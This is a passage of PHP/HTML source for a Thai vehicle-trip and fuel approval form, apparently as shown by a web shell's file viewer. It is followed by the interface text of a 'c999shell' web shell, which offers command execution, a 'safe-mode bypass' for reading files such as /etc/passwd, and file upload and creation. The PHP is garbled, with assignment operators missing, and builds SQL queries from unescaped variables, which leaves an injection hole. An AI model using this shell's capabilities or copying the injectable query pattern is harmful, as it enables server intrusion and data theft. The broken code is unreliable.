                <td height="29" colspan="5" align="left">เที่ยวกลับ (เติมน้ำมัน )<font color="#000000" size="2" face="Tahoma">
                  <input name="Lish_finish" type="text" id="Lish_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs5['Lish_finish'];?>" size="5"/>
                  ลิตร  จำนวนเงิน 
                  <input name="Price_finish" type="text" id="Price_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs5['Price_finish'];?>" size="5"/>
                  บาท  
                  เลขวัดระยะที่หน้าปัทม์
                  <input name="Num_finish" type="text" id="Num_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs5['Num_finish'];?>" size="10"/>
                </font></td>
                <td></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="3" align="left"><font color="#000000" size="2" face="Tahoma"> (ส่วนต่างจำนวนน้ำมัน )<font color="#000000" size="2" face="Tahoma">
                  <input name="##" type="text" id="##" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs5['Num_Lish'];?>" size="5"  disabled="disabled"/> 
                  ลิตร</font></font></td>
                <td></td>
                <td align="center">&nbsp;</td>
                <td></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="3" align="left">&nbsp;</td>
                <td></td>
                <td align="center">&nbsp;<span class="style1">ขอแสดงความนับถือ</span></td>
                <td></td>
              </tr>
              <tr height="31">
                <td height="31" align="left">&nbsp;</td>
                <td width="91">&nbsp;</td>
                <td>&nbsp;</td>
                <td>&nbsp;</td>
                <td>(ลงชื่อ).............................................</td>
                <td></td>
              </tr>
              <tr height="29">
                <td height="29">&nbsp;</td>
                <td>&nbsp;</td>
                <td>&nbsp;</td>
                <td></td>
                <td align="center">(<font color="#003366" size="2" face="Tahoma">..<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?></font>..)</td>
                <td></td>
              </tr>
              <tr height="31">
                <td height="31">&nbsp;</td>
                <td>&nbsp;</td>
                <td>&nbsp;</td>
                <td colspan="3" align="left"><span class="style13">ความเห็นหัวหน้าฝ่าย/ภาค</span></td>
              </tr>
              <tr height="29">
                <td height="28" colspan="2"><strong> </strong>จึงเรียนมาเพื่อโปรดอนุมัติ</td>
                <td></td>
                <td colspan="3"><div align="center">.<font color="#0000FF" size="2" face="Tahoma">
                    <input name="Info_name" type="text" id="Info_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" />
                </font></div></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="3" align="left"><label>
                  <input name="Status" type="radio" id="Status" value="อนุมัติ" <?php if($rs1["Status"] == "อนุมัติ" ) echo 'checked'?> />
                  อนุมัติ  &nbsp; &nbsp; &nbsp;
                  <input name="Status" type="radio" id="Status" value="ไม่อนุมัติ"  <?php if($rs1["Status"] == "ไม่อนุมัติ" ) echo 'checked'?> />
                  ไม่อนุมัติ &nbsp; &nbsp; &nbsp;
                  <input name="Status" type="radio" id="Status" value="รออนุมัติ" <?php if($rs1["Status"] == "รออนุมัติ" ) echo 'checked'?> />
รออนุมัติ   </label></td>
                <td></td>
                <td></td>
                <td></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="3" align="left">ลงชื่อ...................................ผู้จัดยานพาหนะ </td>
                <td></td>
                <td>..............................................</td>
                <td></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="2" align="center">(.....................................)&nbsp;</td>
                <td align="left">                                        </td>
                <td colspan="3" align="left">  (ลงชื่อ)....<font size="2" face="Tahoma">
                  <?php
                    
//$Teacher_code =  $rss["TeacherId"];
                    
$sql "Select * From    personal_tb   Where  Faculty_code ='$Faculty_code'  and   TeacherId='1'  ";
                    
$result1 mysql_query($sql) or die("Error".mysql_error());
                    
$rs2 mysql_fetch_array($result1);
                    echo 
"$rs2[First_name]$rs2[Teacher_name] &nbsp;&nbsp;$rs2[Teacher_lastname]";
                 
?>
                </font>........ 
                <input name="TeacherId" type="hidden" id="TeacherId" value="<? echo $rs2["Teacher_code"]?>" /></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="3" align="left">ลงชื่อ่..................................หัวหน้ายานพาหนะ </td>
                <td colspan="3" align="left">ตำแหน่ง.<font color="#0000FF" size="2" face="Tahoma">
                <input name="Name4" type="text" id="Name5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="25"  value=" <? $PositionId =  $rs2["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
                </font></td>
              </tr>
              <tr height="29">
                <td height="29" colspan="2" align="center">(.........................................)&nbsp;</td>
                <td></td>
                <td colspan="3" align="left">วันที่..........เดือน..........................พ.ศ............….</td>
              </tr>
              <tr height="31">
                <td height="31"></td>
                <td></td>
                <td></td>
                <td align="left"><div align="center">คำสั่ง</div></td>
                <td></td>
                <td></td>
              </tr>
              <tr height="29">
                <td height="29"></td>
                <td></td>
                <td></td>
                <td align="left"></td>
                <td colspan="2" align="left"><label>
                  <input name="Status" type="checkbox" id="Status" value="อนุมัติ"  <?php if($rs1["Status"] == "อนุมัติ" ) echo 'checked'?>  disabled />
                </label>อนุมัติ     
                  <input name="Status" type="checkbox" id="Status" value="ไม่อนุมัติ" <?php if($rs1["Status"] == "ไม่อนุมัติ" ) echo 'checked'?>  disabled />
                  ไม่อนุมัติ</td>
              </tr>
              <tr height="29">
                <td height="29"></td>
                <td></td>
                <td></td>
                <td colspan="3" align="left"> (ลงชื่อ)......................................................……..</td>
              </tr>
              <tr height="29">
                <td height="29"></td>
                <td></td>
                <td></td>
                <td colspan="3" align="left">(ตำแหน่ง)............................................................….</td>
              </tr>
              <tr height="29">
                <td height="29"></td>
                <td></td>
                <td></td>
                <td colspan="3" align="left">วันที่..........เดือน..........................พ.ศ............….</td>
              </tr>
              <tr height="31">
                <td height="10" colspan="6" align="center">&nbsp;</td>
              </tr>
              </table></td>
      </tr>
      <tr>
        <td align="center">&nbsp;</td>
      </tr>
      <tr>
        <td align="center"><input name="carId" type="hidden" id="carId" value="<? echo $carId?>&Teacher_code<? echo $Teacher_code;?>" />
          <input type="submit" name="Submit" value="บันทึก" class="WIDTH60 CURSOR-HAND" />
&nbsp;
<input type="reset" name="Reset" value="รีเซ็ต" class="WIDTH60 CURSOR-HAND" />
&nbsp;&nbsp;
<input type="button" name="Button" value="ยกเลิก" class="WIDTH60 CURSOR-HAND" onclick="location.href='FormCarList.php?Teacher_code=<?=$Teacher_code;?>'" /></td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.012 ]--